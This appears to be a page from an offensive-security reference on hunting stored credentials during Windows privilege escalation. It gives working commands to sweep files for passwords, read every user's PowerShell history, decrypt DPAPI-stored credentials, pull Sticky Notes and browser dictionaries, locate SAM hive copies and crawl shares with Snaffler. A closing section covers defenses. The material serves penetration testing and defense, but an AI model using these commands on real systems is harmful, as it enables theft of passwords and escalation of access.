# Credential Hunting

> Finding credentials at rest on a Windows host - cleartext config files (web.config, unattend.xml), PowerShell history and DPAPI-protected PowerShell credentials, browser dictionary files, Sticky Notes databases, and the classic file-system and share sweeps with findstr, Get-ChildItem, and Snaffler. The lowest-value, highest-effort escalation lookup - run it when token, group, and misconfiguration checks come up empty, and again after every context change.

<!-- Source: codex/windows/privesc/credential-hunting -->
<!-- Codex offensive-security reference - codex.athenaos.org -->

import { Aside } from '@astrojs/starlight/components';

## TL;DR

When the privilege/token/group/ACL checks don't produce a primitive, hunt for credentials someone left on disk. A password for a local admin, a domain account, or a service sitting in a config file, a script, a history file, or a note turns "I can read files" into a higher-privileged context - or a domain foothold. This is the **lowest-value, highest-effort** lookup, so it comes last; but re-run it after *every* escalation, because SYSTEM can read files your foothold user couldn't.

```powershell
# Config files - recursive string hunt
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
Get-ChildItem C:\ -Recurse -Include *.config,*.xml,*.ini,*.rdp,*.vnc,*.cred -EA Ignore

# High-value fixed locations
gc (Get-PSReadLineOption).HistorySavePath                     # PowerShell history
type C:\Windows\Panther\unattend.xml                          # install answer file
gc 'C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt'

# DPAPI-protected PowerShell credential (if running AS that user)
$c = Import-Clixml C:\scripts\pass.xml; $c.GetNetworkCredential().Password

# Network shares, at scale
.\Snaffler.exe -s -o snaffler.log                             # crawls shares for *.kdbx, *.ppk, passwords.*
```

Success indicator: a recovered cleartext password (or crackable hash / private key) you can reuse for a higher-privileged local or domain account - confirm with `runas`, WinRM, or an authenticated service logon.

## When this applies

Credential hunting is the fallback, not the opener - a full file-system sweep is hours of work and the lowest hit-rate step in the loop (see the [overview's operational sequence](/codex/windows/privesc/#operational-sequence)). Reach for it when:

- Token privileges, group memberships, missing patches, and service/ACL audits have all come up empty.
- You've *just* escalated and should re-sweep: SYSTEM or a new admin context can read profile paths, registry hives, and share folders your previous user couldn't. Always recheck PowerShell history and user profiles after gaining local admin.
- You have a domain foothold and want to pivot: a password on a share or in a script is frequently the path from local access to a domain account.

<Aside type="note">
Enumeration scripts (winPEAS, Seatbelt, LaZagne) already search most of these locations, and you should run them - but understand the manual techniques too. Scripts miss non-standard files, get blocked by AV, and can't reason about which share folder is interesting. Manual hunting also lets you target a specific user's profile once you can read it.
</Aside>

## Config files

Against best practice, applications routinely store passwords in cleartext config files. [`findstr`](https://ss64.com/nt/findstr.html) is the workhorse for searching file *contents* recursively:

```cmd
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
```

- `/S` recurse subdirectories · `/I` case-insensitive · `/M` print only the filename · `/C:"..."` literal search string.
- Drop `/M` to see the matching line (`findstr /SI "password" *.config`), add `/N` for line numbers, `/P` to skip binary files.

IIS stores credentials (connection strings, app-pool identities) in **`web.config`**. The default site's is at `C:\inetpub\wwwroot\web.config`, but there are often several across sites and application directories:

```powershell
Get-ChildItem C:\ -Recurse -Filter web.config -EA Ignore | Select FullName
where.exe /R C:\ web.config          # where.exe, not `where` - that's the Where-Object alias in PS
```

To search for a file by *name* regardless of contents:

```cmd
dir /s /b confidential.txt
```
```powershell
Get-ChildItem -Path C:\ -Recurse -Filter "confidential.txt" -ErrorAction SilentlyContinue
```

## File-system and extension sweeps

The two orthogonal sweeps - by content and by extension - between them catch most at-rest secrets. By content:

```cmd
:: match + show the line
findstr /si password *.xml *.ini *.txt *.config
:: every file, with line numbers (/p skips binaries)
findstr /spin "password" *.*
```
```powershell
Select-String -Path C:\Users\*\Documents\*.txt -Pattern password
```

By extension - the names that tend to hold secrets:

```cmd
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config
```
```powershell
Get-ChildItem C:\ -Recurse -Include *.rdp,*.config,*.vnc,*.cred,*.kdbx,*.ppk -ErrorAction Ignore
```

## High-value fixed locations

Some stashes are predictable enough to check directly rather than sweep for.

### PowerShell history

Since PowerShell 5.0 (Windows 10+), PSReadLine logs command history to a per-user file. Commands that pass credentials on the command line (`net use`, `wevtutil ... /u: /p:`, scripted logons) end up recorded in cleartext:

```powershell
(Get-PSReadLineOption).HistorySavePath
# C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
gc (Get-PSReadLineOption).HistorySavePath
```

Once you're local admin, sweep every user's history at once (assumes the default path):

```powershell
foreach($u in (ls C:\users).fullname){
  cat "$u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -EA SilentlyContinue
}
```

### Unattended-install answer files

`unattend.xml` / `sysprep.xml` / `autounattend.xml` can carry an AutoLogon password or extra-account credentials, stored plaintext or base64. They *should* be deleted after imaging, but copies linger in `C:\Windows\Panther\`, `C:\Windows\System32\Sysprep\`, and ad-hoc image-build folders:

```xml
<AutoLogon>
  <Password><Value>local_4dmin_p@ss</Value><PlainText>true</PlainText></Password>
  <Enabled>true</Enabled><Username>Administrator</Username>
</AutoLogon>
```

A `<PlainText>false</PlainText>` value is only base64, not encryption - decode it.

### DPAPI-protected PowerShell credentials

Admins store "encrypted" credentials for scripts with `Get-Credential | Export-Clixml`. The protection is [DPAPI](https://en.wikipedia.org/wiki/Data_Protection_API) - the blob decrypts **only as the same user on the same machine**. So if you already have code execution *as that user*, reversing it is trivial:

```powershell
$c = Import-Clixml -Path 'C:\scripts\pass.xml'
$c.GetNetworkCredential().UserName
$c.GetNetworkCredential().Password     # Str0ng3ncryptedP@ss!
```

If you find the `.xml` but aren't that user, you can't just import it - you'd need the user's DPAPI masterkey (recoverable as SYSTEM, or with the domain DPAPI backup key) via mimikatz `dpapi::` or SharpDPAPI. Treat the file as a lead even when the direct import fails.

### Browser dictionary files

Users add words their spell-checker flags to a custom dictionary - and people type passwords into fields that get spell-checked. Chrome's is plaintext:

```powershell
gc 'C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String -Pattern '!|@|[0-9]'
```

### Sticky Notes

The Windows Sticky Notes app is a SQLite database, not a text file, so people treat it as a scratchpad for passwords without realizing it persists. It lives at:

```
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
```

Copy the three `plum.sqlite*` files (`.sqlite`, `-shm`, `-wal`) off and read the `Text` column of the `Note` table - the `-wal` write-ahead log often holds notes not yet merged into the main DB:

```powershell
Import-Module .\PSSQLite.psd1
Invoke-SqliteQuery -Database .\plum.sqlite -Query "SELECT Text FROM Note" | ft -wrap
# or, quick and dirty, off the box:
strings plum.sqlite-wal | findstr /i "pass root admin"
```

### Other files of interest

A grab-bag worth checking by hand - registry-hive copies yield local hashes (see [Backup Operators](/codex/windows/privesc/backup-operators/) for extracting them), logs and config dumps hold connection strings:

```
%WINDIR%\repair\sam        %WINDIR%\repair\system       %WINDIR%\System32\config\*.sav
%WINDIR%\Panther\unattend.xml      %WINDIR%\debug\NetSetup.log
%WINDIR%\system32\CCM\logs\*.log   %USERPROFILE%\ntuser.dat
%SYSTEMDRIVE%\pagefile.sys         C:\ProgramData\Configs\*
```

## Network shares

In a domain, the richest hunting ground is file shares - user home folders with loose ACLs (every Domain User can read everyone's folder), departmental shares, backup locations. [Snaffler](https://github.com/SnaffCon/Snaffler) crawls accessible shares and flags interesting files by extension and content:

```
.\Snaffler.exe -s -o snaffler.log          # -s console output, -o log file
```

It surfaces `.kdbx` (KeePass), `.ppk` (PuTTY key), `.vmdk`/`.vhdx` (virtual disks you can mount for the local SAM), `.config`, SSH private keys, and files whose names or contents look credential-bearing. A single password on a forgotten share is a common initial-access-or-escalation win.

## Defense

- Never store credentials in config files, scripts, or answer files; use a secrets manager or managed identities (gMSA) and reference secrets at runtime.
- Delete `unattend.xml`/`sysprep` answer files after imaging, and scrub image-build shares. Audit `C:\Windows\Panther\`.
- Tighten share ACLs - home folders should be readable only by their owner and admins, not all Domain Users. Run Snaffler yourself to find what an attacker would.
- Disable PowerShell plaintext history for privileged automation, or keep secrets out of command lines (prompt, or read from a vault) so they never reach `ConsoleHost_history.txt`.
- Monitor for mass file reads of profile/AppData paths and for `findstr`/`Select-String` sweeps across the file system.

## Related

- [Initial enumeration](/codex/windows/privesc/initial-enumeration/) - flags installed password managers and profile paths that feed this hunt
- [Stored credentials](/codex/windows/privesc/stored-credentials/) - extracting secrets held by apps and the OS (browsers, cmdkey, registry, wifi, KeePass cracking)
- [Backup Operators](/codex/windows/privesc/backup-operators/) - turning a recovered SAM/SYSTEM hive copy into local hashes
- [SeTakeOwnership](/codex/windows/privesc/setakeownership/) - reading a credential file whose ACL denies your user